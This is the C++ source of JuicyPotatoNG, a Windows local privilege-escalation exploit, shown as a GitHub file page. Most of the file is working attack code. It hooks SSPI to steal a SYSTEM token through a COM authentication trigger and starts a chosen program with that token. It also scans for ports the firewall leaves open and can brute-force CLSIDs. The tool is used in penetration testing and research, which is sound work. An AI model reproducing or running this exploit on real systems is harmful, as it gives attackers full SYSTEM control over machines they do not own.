-
Notifications
You must be signed in to change notification settings - Fork 101
/
Copy pathJuicyPotatoNG.cpp
347 lines (308 loc) · 9.67 KB
/
JuicyPotatoNG.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
#include "Windows.h"
#include "stdio.h"
#include "strsafe.h"
#include "netfw.h"
#include "PotatoTrigger.h"
#include "SSPIHooks.h"
#include "BruteforceCLSIDs.h"
HANDLE g_hEventTokenStolen;
HANDLE g_hEventAuthTriggered;
HANDLE g_hTokenStolenPrimary;
HANDLE g_hTokenStolenSecondary;
BOOL g_SystemTokenStolen;
void usage();
void ImpersonateInteractiveSid();
BOOL EnablePriv(HANDLE hToken, LPCTSTR priv);
int Juicy(wchar_t* processtype, wchar_t* appname, wchar_t* cmdline, BOOL interactiveMode);
void SeekNonFilteredPorts();
int wmain(int argc, wchar_t** argv)
{
WCHAR defaultClsidStr[] = L"{854A20FB-2D44-457D-992F-EF13785D2B51}"; // Print Notify Service CLSID
WCHAR defaultComPort[] = L"10247";
PWCHAR clsidStr = defaultClsidStr;
PWCHAR comPort = defaultComPort;
PWCHAR appname = NULL;
PWCHAR cmdline = NULL;
PWCHAR processtype = NULL;
BOOL interactiveMode = FALSE;
BOOL bruteforceClsids = FALSE;
BOOL testingClsid = FALSE;
BOOL seekComPort = FALSE;
int cnt = 1;
while ((argc > 1) && (argv[cnt][0] == '-'))
{
switch (argv[cnt][1])
{
case 't':
++cnt;
--argc;
processtype = argv[cnt];
break;
case 'p':
++cnt;
--argc;
appname = argv[cnt];
break;
case 'a':
++cnt;
--argc;
cmdline = argv[cnt];
break;
case 'c':
++cnt;
--argc;
clsidStr = argv[cnt];
break;
case 'l':
++cnt;
--argc;
comPort = argv[cnt];
break;
case 'i':
interactiveMode = TRUE;
break;
case 'b':
bruteforceClsids = TRUE;
break;
case 'z':
testingClsid = TRUE;
break;
case 's':
seekComPort = TRUE;
break;
case 'h':
usage();
exit(0);
default:
printf("Wrong Argument: %S\n", argv[cnt]);
usage();
exit(-1);
}
++cnt;
--argc;
}
if (!testingClsid) {
printf("\n\n\t JuicyPotatoNG\n");
printf("\t by decoder_it & splinter_code\n\n");
}
if (bruteforceClsids) {
BruteforceAllClisds();
return 0;
}
if (seekComPort) {
SeekNonFilteredPorts();
return 0;
}
if (!testingClsid && (processtype == NULL || appname == NULL))
{
usage();
exit(-1);
}
if (!testingClsid)
printf("[*] Testing CLSID %S - COM server port %S \n", clsidStr, comPort);
g_hEventAuthTriggered = CreateEvent(NULL, TRUE, FALSE, NULL);
g_hEventTokenStolen = CreateEvent(NULL, TRUE, FALSE, NULL);
g_SystemTokenStolen = FALSE;
HookSSPIForTokenStealing(clsidStr);
ImpersonateInteractiveSid();
PotatoTrigger(clsidStr, comPort, g_hEventAuthTriggered);
RevertToSelf();
if (!testingClsid) {
if (WaitForSingleObject(g_hEventAuthTriggered, 3000) == WAIT_TIMEOUT) {
printf("[-] The privileged process failed to communicate with our COM Server :( Try a different COM port in the -l flag. \n");
}
else {
if (WaitForSingleObject(g_hEventTokenStolen, 3000) == WAIT_TIMEOUT && g_SystemTokenStolen) {
printf("[-] Cannot capture a valid SYSTEM token, exiting... \n");
}
else {
if (g_SystemTokenStolen && Juicy(processtype, appname, cmdline, interactiveMode))
printf("[+] Exploit successful! \n");
else
printf("[-] Exploit failed! \n");
}
}
}
else {
WaitForSingleObject(g_hEventAuthTriggered, 500);
WaitForSingleObject(g_hEventTokenStolen, 500);
}
CloseHandle(g_hEventAuthTriggered);
CloseHandle(g_hEventTokenStolen);
CloseHandle(g_hTokenStolenPrimary);
CloseHandle(g_hTokenStolenSecondary);
return 0;
}
void ImpersonateInteractiveSid() {
HANDLE hToken;
if (!LogonUser(L"JuicyPotatoNG", L".", L"JuicyPotatoNG", LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_WINNT50, &hToken)) {
printf("[!] LogonUser failed with error code %d \n", GetLastError());
exit(-1);
}
ImpersonateLoggedOnUser(hToken);
}
BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
{
TOKEN_PRIVILEGES tp;
LUID luid;
PRIVILEGE_SET privs;
BOOL privEnabled;
if (!LookupPrivilegeValue(NULL, priv, &luid))
{
printf("LookupPrivilegeValue() failed, error %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
{
printf("AdjustTokenPrivileges() failed, error %u\n", GetLastError());
return FALSE;
}
privs.PrivilegeCount = 1;
privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
privs.Privilege[0].Luid = luid;
privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!PrivilegeCheck(hToken, &privs, &privEnabled)) {
printf("PrivilegeCheck() failed, error %u\n", GetLastError());
return FALSE;
}
if (!privEnabled)
return FALSE;
return TRUE;
}
int Juicy(wchar_t* processtype, wchar_t* appname, wchar_t* cmdline, BOOL interactiveMode) {
wchar_t* command = NULL;
wchar_t desktopName[] = L"Winsta0\\default";
DWORD maxCmdlineLen = 30000;
int ret = 0;
BOOL result = FALSE, isImpersonating = FALSE;
PROCESS_INFORMATION pi;
STARTUPINFO si;
HANDLE hTokenCurrProc;
DWORD dwCreationFlags = 0;
DWORD sessionId = 0;
// This exploit works when you have either SeImpersonate or SeAssignPrimaryToken privileges
// We perform some token adjustments to succeed in both cases
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hTokenCurrProc);
if (EnablePriv(hTokenCurrProc, SE_IMPERSONATE_NAME)) {
EnablePriv(g_hTokenStolenSecondary, SE_IMPERSONATE_NAME);
EnablePriv(g_hTokenStolenSecondary, SE_ASSIGNPRIMARYTOKEN_NAME);
EnablePriv(g_hTokenStolenSecondary, SE_TCB_NAME);
ImpersonateLoggedOnUser(g_hTokenStolenSecondary);
isImpersonating = TRUE;
}
else {
if (!EnablePriv(hTokenCurrProc, SE_ASSIGNPRIMARYTOKEN_NAME)) {
printf("[!] Current process doesn't have SeImpersonate or SeAssignPrimaryToken privileges, exiting... \n");
exit(-1);
}
}
CloseHandle(hTokenCurrProc);
if (cmdline != NULL)
{
command = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, maxCmdlineLen * sizeof(WCHAR));
StringCchCopy(command, maxCmdlineLen, appname);
StringCchCat(command, maxCmdlineLen, L" ");
StringCchCat(command, maxCmdlineLen, cmdline);
}
if (*processtype == L'u' || *processtype == L'*')
{
ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFO);
si.lpDesktop = desktopName;
dwCreationFlags = interactiveMode ? 0 : CREATE_NEW_CONSOLE;
if (!interactiveMode) {
ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
SetTokenInformation(g_hTokenStolenPrimary, TokenSessionId, &sessionId, sizeof(sessionId));
}
result = CreateProcessAsUserW(g_hTokenStolenPrimary, appname, command, NULL, NULL, FALSE, dwCreationFlags, NULL, L"\\", &si, &pi);
if (!result)
printf("[-] CreateProcessAsUser Failed to create proc: %d\n", GetLastError());
else {
printf("[+] CreateProcessAsUser OK\n");
if (interactiveMode) {
printf("[*] Process output:\n");
WaitForSingleObject(pi.hProcess, INFINITE);
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
ret = 1;
goto cleanup;
}
}
if (*processtype == L't' || *processtype == L'*')
{
ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFO);
si.lpDesktop = desktopName;
result = CreateProcessWithTokenW(g_hTokenStolenPrimary, 0, appname, command, 0, NULL, NULL, &si, &pi);
if (!result)
printf("[-] CreateProcessWithTokenW Failed to create proc: %d\n", GetLastError());
else
{
printf("[+] CreateProcessWithTokenW OK\n");
ret = 1;
goto cleanup;
}
}
cleanup:
if (isImpersonating) RevertToSelf();
if (command != NULL) HeapFree(GetProcessHeap, 0, command);
fflush(stdout);
return ret;
}
void SeekNonFilteredPorts() {
INetFwMgr* pNetFwMgr;
INetFwPolicy* pNetFwPolicy;
INetFwProfile* pNetFwProfile;
VARIANT allowed, restricted;
VARIANT_BOOL firewallEnabled;
printf("[*] Finding suitable port not filtered by Windows Defender Firewall to be used in our local COM Server port.\n");
CoInitialize(NULL);
CoCreateInstance(CLSID_NetFwMgr, NULL, CLSCTX_INPROC_SERVER, IID_INetFwMgr, (LPVOID*)&pNetFwMgr);
pNetFwMgr->get_LocalPolicy(&pNetFwPolicy);
pNetFwPolicy->get_CurrentProfile(&pNetFwProfile);
pNetFwProfile->get_FirewallEnabled(&firewallEnabled);
if (!firewallEnabled) {
printf("[*] Windows Defender Firewall not enabled. Every COM port will work.\n");
}
else {
for (LONG portNumber = 20; portNumber < 65535; portNumber++) {
pNetFwMgr->IsPortAllowed((BSTR)L"System", NET_FW_IP_VERSION_ANY, portNumber, (BSTR)L"", NET_FW_IP_PROTOCOL_TCP, &allowed, &restricted);
if (allowed.boolVal) {
printf("[+] Found non filtered port: %d \n", portNumber);
}
}
}
pNetFwProfile->Release();
pNetFwPolicy->Release();
pNetFwMgr->Release();
pNetFwMgr->Release();
CoUninitialize();
}
void usage()
{
printf("\n\n\t JuicyPotatoNG\n");
printf("\t by decoder_it & splinter_code\n\n");
printf("\n");
printf("Mandatory args: \n"
"-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both\n"
"-p <program>: program to launch\n"
);
printf("\n\n");
printf("Optional args: \n"
"-l <port>: COM server listen port (Default 10247)\n"
"-a <argument>: command line argument to pass to program (default NULL)\n"
"-c <CLSID>: (Default {854A20FB-2D44-457D-992F-EF13785D2B51})\n"
"-i : Interactive Console (valid only with CreateProcessAsUser)\n"
);
printf("\n\n");
printf("Additional modes: \n"
"-b : Bruteforce all CLSIDs. !ALERT: USE ONLY FOR TESTING. About 1000 processes will be spawned!\n"
"-s : Seek for a suitable COM port not filtered by Windows Defender Firewall\n"
);
}